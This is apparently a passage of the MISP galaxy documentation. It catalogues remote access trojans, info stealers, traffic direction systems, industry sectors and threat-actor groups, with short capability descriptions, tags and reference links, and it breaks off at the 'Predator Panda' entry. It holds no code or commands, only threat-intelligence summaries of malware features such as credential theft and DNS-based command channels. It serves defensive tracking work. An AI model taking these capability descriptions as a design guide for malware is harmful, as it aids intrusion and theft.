KhRAT

So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine's username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: *misp-galaxy:rat="KhRAT"*

Table 3638. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/

RevCode

The tag is: *misp-galaxy:rat="RevCode"*

Table 3639. Table References

Links
https://revcode.eu/

AhNyth Android

Android Remote Administration Tool

The tag is: *misp-galaxy:rat="AhNyth Android"*

Table 3640. Table References

Links
https://github.com/AhMyth/AhMyth-Android-RAT

Socket23

SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’

The tag is: *misp-galaxy:rat="Socket23"*

Table 3641. Table References

Links
https://www.virusbulletin.com/uploads/pdf/magazine/1999/199908.pdf

PowerRAT

The tag is: *misp-galaxy:rat="PowerRAT"*

MacSpy

Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.

The tag is: *misp-galaxy:rat="MacSpy"*

MacSpy has relationships with:

- similar: misp-galaxy:malpedia="MacSpy" with estimative-language:likelihood-probability="likely"

Table 3642. Table References

Links
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service
https://objective-see.com/blog/blog_0x25.html

DNSMessenger

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

The tag is: *misp-galaxy:rat="DNSMessenger"*

DNSMessenger has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 3643. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

PentagonRAT

The tag is: *misp-galaxy:rat="PentagonRAT"*

Table 3644. Table References

Links
http://pentagon-rat.blogspot.fr/

NewCore

NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans.

The tag is: *misp-galaxy:rat="NewCore"*

Table 3645. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/newcore
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations

Deeper RAT

The tag is: *misp-galaxy:rat="Deeper RAT"*

Xyligan

The tag is: *misp-galaxy:rat="Xyligan"*

H-w0rm

The tag is: *misp-galaxy:rat="H-w0rm"*

htpRAT

On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary's arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —'file download' or 'file upload,' for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim's network, simply by wrapping commands.

The tag is: *misp-galaxy:rat="htpRAT"*

htpRAT has relationships with:

- similar: misp-galaxy:malpedia="htpRAT" with estimative-language:likelihood-probability="likely"

Table 3646. Table References

Links
https://cdn.riskiq.com/wp-content/uploads/2017/10/RiskIQ-htpRAT-Malware-Attacks.pdf?_ga=2.159415805.1155855406.1509033001-1017609577.1507615928

FALLCHILL

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim's system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.

The tag is: *misp-galaxy:rat="FALLCHILL"*

FALLCHILL has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

Table 3647. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318A
https://securelist.com/operation-applejeus/87553/

UBoatRAT

Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.

The tag is: *misp-galaxy:rat="UBoatRAT"*

Table 3648. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

CrossRat

The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”

The tag is: *misp-galaxy:rat="CrossRat"*

Table 3649. Table References

Links
https://digitasecurity.com/blog/2018/01/23/crossrat/

TSCookieRAT

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

The tag is: *misp-galaxy:rat="TSCookieRAT"*

Table 3650. Table References

Links
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html

Coldroot

Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it’s rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.

The tag is: *misp-galaxy:rat="Coldroot"*

Table 3651. Table References

Links
https://www.bleepingcomputer.com/news/security/coldroot-rat-still-undetectable-despite-being-uploaded-on-github-two-years-ago/
https://github.com/xlinshan/Coldroot

Comnie

Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.

The tag is: *misp-galaxy:rat="Comnie"*

Table 3652. Table References

Links
https://exchange.xforce.ibmcloud.com/collection/East-Asia-Organizations-Victims-of-Comnie-Attack-12749a9dbc20e2f40b3ae99c43416d8c
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

GravityRAT

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

The tag is: *misp-galaxy:rat="GravityRAT"*

Table 3653. Table References

Links
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

ARS VBS Loader

ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim's machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".

The tag is: *misp-galaxy:rat="ARS VBS Loader"*

ARS VBS Loader has relationships with:

- similar: misp-galaxy:malpedia="ARS VBS Loader" with estimative-language:likelihood-probability="likely"

Table 3654. Table References

Links
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/

RadRAT

RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.

The tag is: *misp-galaxy:rat="RadRAT"*

RadRAT has relationships with:

- similar: misp-galaxy:malpedia="RadRAT" with estimative-language:likelihood-probability="likely"

Table 3655. Table References

Links
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/
https://labs.bitdefender.com/wp-content/uploads/downloads/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

FlawedAmmyy

FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.

The tag is: *misp-galaxy:rat="FlawedAmmyy"*

FlawedAmmyy has relationships with:

- similar: misp-galaxy:malpedia="FlawedAmmyy" with estimative-language:likelihood-probability="likely"

Table 3656. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat

Spymaster Pro

Monitoring Software

The tag is: *misp-galaxy:rat="Spymaster Pro"*

Table 3657. Table References

Links
https://www.spymasterpro.com/
https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots

NavRAT

Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email

The tag is: *misp-galaxy:rat="NavRAT"*

NavRAT has relationships with:

- similar: misp-galaxy:malpedia="NavRAT" with estimative-language:likelihood-probability="likely"

Table 3658. Table References

Links
https://blog.talosintelligence.com/2018/05/navrat.html

joanap

Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: *misp-galaxy:rat="joanap"*

Table 3659. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-149A

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: *misp-galaxy:rat="Sisfader"*

Sisfader has relationships with:

- similar: misp-galaxy:malpedia="Sisfader" with estimative-language:likelihood-probability="likely"

Table 3660. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: *misp-galaxy:rat="SocketPlayer"*

Table 3661. Table References

Links
https://file.gdatasoftware.com/web/en/documents/whitepaper/G_DATA_SocketPlayer_Analysis.pdf
https://volon.io/2018/06/targeted-attack-on-indian-defense-officials-using-socketplayer-malware/

Hallaj PRO RAT

RAT

The tag is: *misp-galaxy:rat="Hallaj PRO RAT"*

Table 3662. Table References

Links
https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/

NukeSped

This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don’t follow the malicious hacker’s commands.

The tag is: *misp-galaxy:rat="NukeSped"*

Table 3663. Table References

Links
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx]
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win64/NukeSped&ThreatID=-2147238204
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win64/NukeSped!bit&ThreatID=-2147238152
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/NukeSped
https://malwarefixes.com/threats/win32nukesped/
https://www.alienvault.com/forums/discussion/17301/alienvault-labs-threat-intelligence-update-for-usm-anywhere-march-25-march-31-2018

TheOneSpy

```
Remotely monitor and control any wrong activity of kids on all smartphones & computers
```

The tag is: *misp-galaxy:rat="TheOneSpy"*

Table 3664. Table References

Links
https://www.theonespy.com/

BONDUPDATER

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: *misp-galaxy:rat="BONDUPDATER"*

Table 3665. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

Sector

Activity sectors.

Sector is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Unknown

The tag is: *misp-galaxy:sector="Unknown"*

Other

The tag is: *misp-galaxy:sector="Other"*

Academia - University

The tag is: *misp-galaxy:sector="Academia - University"*

Activists

The tag is: *misp-galaxy:sector="Activists"*

Aerospace

The tag is: *misp-galaxy:sector="Aerospace"*

Agriculture

The tag is: *misp-galaxy:sector="Agriculture"*

Arts

The tag is: *misp-galaxy:sector="Arts"*

Bank

The tag is: *misp-galaxy:sector="Bank"*

Chemical

The tag is: *misp-galaxy:sector="Chemical"*

Citizens

The tag is: *misp-galaxy:sector="Citizens"*

Civil Aviation

The tag is: *misp-galaxy:sector="Civil Aviation"*

Country

The tag is: *misp-galaxy:sector="Country"*

Culture

The tag is: *misp-galaxy:sector="Culture"*

Data Broker

The tag is: *misp-galaxy:sector="Data Broker"*

Defense

The tag is: *misp-galaxy:sector="Defense"*

Development

The tag is: *misp-galaxy:sector="Development"*

Diplomacy

The tag is: *misp-galaxy:sector="Diplomacy"*

Education

The tag is: *misp-galaxy:sector="Education"*

Electric

The tag is: *misp-galaxy:sector="Electric"*

Electronic

The tag is: *misp-galaxy:sector="Electronic"*

Employment

The tag is: *misp-galaxy:sector="Employment"*

Energy

The tag is: *misp-galaxy:sector="Energy"*

Entertainment

The tag is: *misp-galaxy:sector="Entertainment"*

Environment

The tag is: *misp-galaxy:sector="Environment"*

Finance

The tag is: *misp-galaxy:sector="Finance"*

Food

The tag is: *misp-galaxy:sector="Food"*

Game

The tag is: *misp-galaxy:sector="Game"*

Gas

The tag is: *misp-galaxy:sector="Gas"*

Government, Administration

The tag is: *misp-galaxy:sector="Government, Administration"*

Health

The tag is: *misp-galaxy:sector="Health"*

Higher education

The tag is: *misp-galaxy:sector="Higher education"*

Hotels

The tag is: *misp-galaxy:sector="Hotels"*

Infrastructure

The tag is: *misp-galaxy:sector="Infrastructure"*

Intelligence

The tag is: *misp-galaxy:sector="Intelligence"*

IT

The tag is: *misp-galaxy:sector="IT"*

IT - Hacker

The tag is: *misp-galaxy:sector="IT - Hacker"*

IT - ISP

The tag is: *misp-galaxy:sector="IT - ISP"*

IT - Security

The tag is: *misp-galaxy:sector="IT - Security"*

Justice

The tag is: *misp-galaxy:sector="Justice"*

Manufacturing

The tag is: *misp-galaxy:sector="Manufacturing"*

Maritime

The tag is: *misp-galaxy:sector="Maritime"*

Military

The tag is: *misp-galaxy:sector="Military"*

Multi-sector

The tag is: *misp-galaxy:sector="Multi-sector"*

News - Media

The tag is: *misp-galaxy:sector="News - Media"*

NGO

The tag is: *misp-galaxy:sector="NGO"*

Oil

The tag is: *misp-galaxy:sector="Oil"*

Payment

The tag is: *misp-galaxy:sector="Payment"*

Pharmacy

The tag is: *misp-galaxy:sector="Pharmacy"*

Police - Law enforcement

The tag is: *misp-galaxy:sector="Police - Law enforcement"*

Research - Innovation

The tag is: *misp-galaxy:sector="Research - Innovation"*

Satellite navigation

The tag is: *misp-galaxy:sector="Satellite navigation"*

Security systems

The tag is: *misp-galaxy:sector="Security systems"*

Social networks

The tag is: *misp-galaxy:sector="Social networks"*

Space

The tag is: *misp-galaxy:sector="Space"*

Steel

The tag is: *misp-galaxy:sector="Steel"*

Telecoms

The tag is: *misp-galaxy:sector="Telecoms"*

Think Tanks

The tag is: *misp-galaxy:sector="Think Tanks"*

Trade

The tag is: *misp-galaxy:sector="Trade"*

Transport

The tag is: *misp-galaxy:sector="Transport"*

Travel

The tag is: *misp-galaxy:sector="Travel"*

Turbine

The tag is: *misp-galaxy:sector="Turbine"*

Tourism

The tag is: *misp-galaxy:sector="Tourism"*

Life science

The tag is: *misp-galaxy:sector="Life science"*

Biomedical

The tag is: *misp-galaxy:sector="Biomedical"*

High tech

The tag is: *misp-galaxy:sector="High tech"*

Opposition

The tag is: *misp-galaxy:sector="Opposition"*

Political party

The tag is: *misp-galaxy:sector="Political party"*

Hospitality

The tag is: *misp-galaxy:sector="Hospitality"*

Automotive

The tag is: *misp-galaxy:sector="Automotive"*

Metal

The tag is: *misp-galaxy:sector="Metal"*

Railway

The tag is: *misp-galaxy:sector="Railway"*

Water

The tag is: *misp-galaxy:sector="Water"*

Smart meter

The tag is: *misp-galaxy:sector="Smart meter"*

Retai

The tag is: *misp-galaxy:sector="Retai"*

Retail

The tag is: *misp-galaxy:sector="Retail"*

Technology

The tag is: *misp-galaxy:sector="Technology"*

engineering

The tag is: *misp-galaxy:sector="engineering"*

Mining

The tag is: *misp-galaxy:sector="Mining"*

Sport

The tag is: *misp-galaxy:sector="Sport"*

Restaurant

The tag is: *misp-galaxy:sector="Restaurant"*

Semi-conductors

The tag is: *misp-galaxy:sector="Semi-conductors"*

Insurance

The tag is: *misp-galaxy:sector="Insurance"*

Legal

The tag is: *misp-galaxy:sector="Legal"*

Shipping

The tag is: *misp-galaxy:sector="Shipping"*

Logistic

The tag is: *misp-galaxy:sector="Logistic"*

Construction

The tag is: *misp-galaxy:sector="Construction"*

Industrial

The tag is: *misp-galaxy:sector="Industrial"*

Communication equipment

The tag is: *misp-galaxy:sector="Communication equipment"*

Security Service

The tag is: *misp-galaxy:sector="Security Service"*

Tax firm

The tag is: *misp-galaxy:sector="Tax firm"*

Television broadcast

The tag is: *misp-galaxy:sector="Television broadcast"*

Separatists

The tag is: *misp-galaxy:sector="Separatists"*

Dissidents

The tag is: *misp-galaxy:sector="Dissidents"*

Digital services

The tag is: *misp-galaxy:sector="Digital services"*

Digital infrastructure

The tag is: *misp-galaxy:sector="Digital infrastructure"*

Security actors

The tag is: *misp-galaxy:sector="Security actors"*

eCommerce

The tag is: *misp-galaxy:sector="eCommerce"*

Islamic forums

The tag is: *misp-galaxy:sector="Islamic forums"*

Journalist

The tag is: *misp-galaxy:sector="Journalist"*

Streaming service

The tag is: *misp-galaxy:sector="Streaming service"*

Puplishing industry

The tag is: *misp-galaxy:sector="Puplishing industry"*

Publishing industry

The tag is: *misp-galaxy:sector="Publishing industry"*

Islamic organisation

The tag is: *misp-galaxy:sector="Islamic organisation"*

Casino

The tag is: *misp-galaxy:sector="Casino"*

Consulting

The tag is: *misp-galaxy:sector="Consulting"*

Online marketplace

The tag is: *misp-galaxy:sector="Online marketplace"*

DNS service provider

The tag is: *misp-galaxy:sector="DNS service provider"*

Veterinary

The tag is: *misp-galaxy:sector="Veterinary"*

Marketing

The tag is: *misp-galaxy:sector="Marketing"*

Video Sharing

The tag is: *misp-galaxy:sector="Video Sharing"*

Advertising

The tag is: *misp-galaxy:sector="Advertising"*

Investment

The tag is: *misp-galaxy:sector="Investment"*

Accounting

The tag is: *misp-galaxy:sector="Accounting"*

Programming

The tag is: *misp-galaxy:sector="Programming"*

Managed Services Provider

The tag is: *misp-galaxy:sector="Managed Services Provider"*

Lawyers

The tag is: *misp-galaxy:sector="Lawyers"*

Civil society

The tag is: *misp-galaxy:sector="Civil society"*

Petrochemical

The tag is: *misp-galaxy:sector="Petrochemical"*

Immigration

The tag is: *misp-galaxy:sector="Immigration"*

Stealer

A list of malware stealer..

Stealer is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

raw-data

Nocturnal Stealer

It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.

The tag is: *misp-galaxy:stealer="Nocturnal Stealer"*

Nocturnal Stealer has relationships with:

- similar: misp-galaxy:malpedia="Nocturnal Stealer" with estimative-language:likelihood-probability="likely"

Table 3666. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap
https://www.bleepingcomputer.com/news/security/hookads-malvertising-installing-malware-via-the-fallout-exploit-kit/
https://traffic.moe/2018/11/10/index.html

TeleGrab

The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram's desktop cache and key files, as well as login information for the video game storefront Steam.

The tag is: *misp-galaxy:stealer="TeleGrab"*

Table 3667. Table References

Links
https://blog.talosintelligence.com/2018/05/telegrab.html

AZORult

It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.

The tag is: *misp-galaxy:stealer="AZORult"*

Table 3668. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://blog.minerva-labs.com/analyzing-an-azorult-attack-evasion-in-a-cloak-of-multiple-layers
https://malware.lu/articles/2018/05/04/azorult-stealer.html

TDS

TDS is a list of Traffic Direction System used by adversaries.

TDS is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Kafeine

Keitaro

Keitaro TDS is among the mostly used TDS in drive by infection chains

The tag is: *misp-galaxy:tds="Keitaro"*

Table 3669. Table References

Links
https://keitarotds.com/

BlackTDS

BlackTDS is mutualised TDS advertised underground since end of December 2017

The tag is: *misp-galaxy:tds="BlackTDS"*

Table 3670. Table References

Links
.com/[https://blacktds[.com/

ShadowTDS

ShadowTDS is advertised underground since 2016-02. It’s in fact more like a Social Engineering kit focused on Android and embedding a TDS

The tag is: *misp-galaxy:tds="ShadowTDS"*

Sutra

Sutra TDS was dominant from 2012 till 2015

The tag is: *misp-galaxy:tds="Sutra"*

Table 3671. Table References

Links
http://kytoon.com/sutra-tds.html

SimpleTDS

SimpleTDS is a basic open source TDS

The tag is: *misp-galaxy:tds="SimpleTDS"*

SimpleTDS is also known as:

- Stds

Table 3672. Table References

Links
https://sourceforge.net/projects/simpletds/

BossTDS

BossTDS

The tag is: *misp-galaxy:tds="BossTDS"*

Table 3673. Table References

Links
http://bosstds.com/

BlackHat TDS

BlackHat TDS is sold underground.

The tag is: *misp-galaxy:tds="BlackHat TDS"*

Table 3674. Table References

Links
http://malware.dontneedcoffee.com/2014/04/meet-blackhat-tds.html

Futuristic TDS

Futuristic TDS is the TDS component of BlackOS/CookieBomb/NorthTale Iframer

The tag is: *misp-galaxy:tds="Futuristic TDS"*

Orchid TDS

Orchid TDS was sold underground. Rare usage

The tag is: *misp-galaxy:tds="Orchid TDS"*

Threat actor

Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign..

Threat actor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy - Florian Roth - Thomas Schreck - Timo Steffens - Various

Comment Crew

PLA Unit 61398 (Chinese: 61398部 , Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People’s Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks

The tag is: *misp-galaxy:threat-actor="Comment Crew"*

Comment Crew is also known as:

- Comment Panda
- PLA Unit 61398
- APT 1

- APT1
- Advanced Persistent Threat 1
- Byzantine Candor
- Group 3
- TG-8223
- Comment Group
- Brown Fox
- GIF89a

Comment Crew has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT1 - G0006" with estimative-language:likelihood-probability="likely"

Table 3675. Table References

Links
https://en.wikipedia.org/wiki/PLA_Unit_61398
http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf
https://www.cfr.org/interactive/cyber-operations/pla-unit-61398
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Stalker Panda

The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly.

The tag is: *misp-galaxy:threat-actor="Stalker Panda"*

Table 3676. Table References

Links
https://wikileaks.org/vault7/document/2015-08-20150814-256-CSIR-15005-Stalker-Panda/2015-08-20150814-256-CSIR-15005-Stalker-Panda.pdf

Nitro

These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.

The tag is: *misp-galaxy:threat-actor="Nitro"*

Nitro is also known as:

- Covert Grove

Table 3677. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf

Codoso

The New York Times described Codoso as: 'A collection of hackers for hire that the security industry has been tracking for years. Over the years, the group has breached banks, law firms and tech companies, and once hijacked the Forbes website to try to infect visitors' computers with malware.'

The tag is: *misp-galaxy:threat-actor="Codoso"*

Codoso is also known as:

- C0d0so
- APT19
- APT 19
- Sunshop Group

Codoso has relationships with:

- similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"

Table 3678. Table References

Links
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks
http://www.isightpartners.com/2015/02/codoso/#sthash.VJMDVPQB.dpuf
http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/
https://www.nytimes.com/2016/06/12/technology/the-chinese-hackers-in-the-back-office.html

https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Dust Storm

The tag is: *misp-galaxy:threat-actor="Dust Storm"*

Dust Storm has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Dust Storm - G0031" with estimative-language:likelihood-probability="likely"

Table 3679. Table References

Links
https://www.cylance.com/hubfs/2015_cylance_website/assets/operation-dust-storm/Op_Dust_Storm_Report.pdf

Karma Panda

Adversary targeting dissident groups in China and its surroundings.

The tag is: *misp-galaxy:threat-actor="Karma Panda"*

Table 3680. Table References

Links
http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

Keyhole Panda

The tag is: *misp-galaxy:threat-actor="Keyhole Panda"*

Keyhole Panda is also known as:

- temp.bottle

Wet Panda

The tag is: *misp-galaxy:threat-actor="Wet Panda"*

Table 3681. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Foxy Panda

Adversary group targeting telecommunication and technology organizations.

The tag is: *misp-galaxy:threat-actor="Foxy Panda"*

Table 3682. Table References

Links
https://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf

Predator Panda

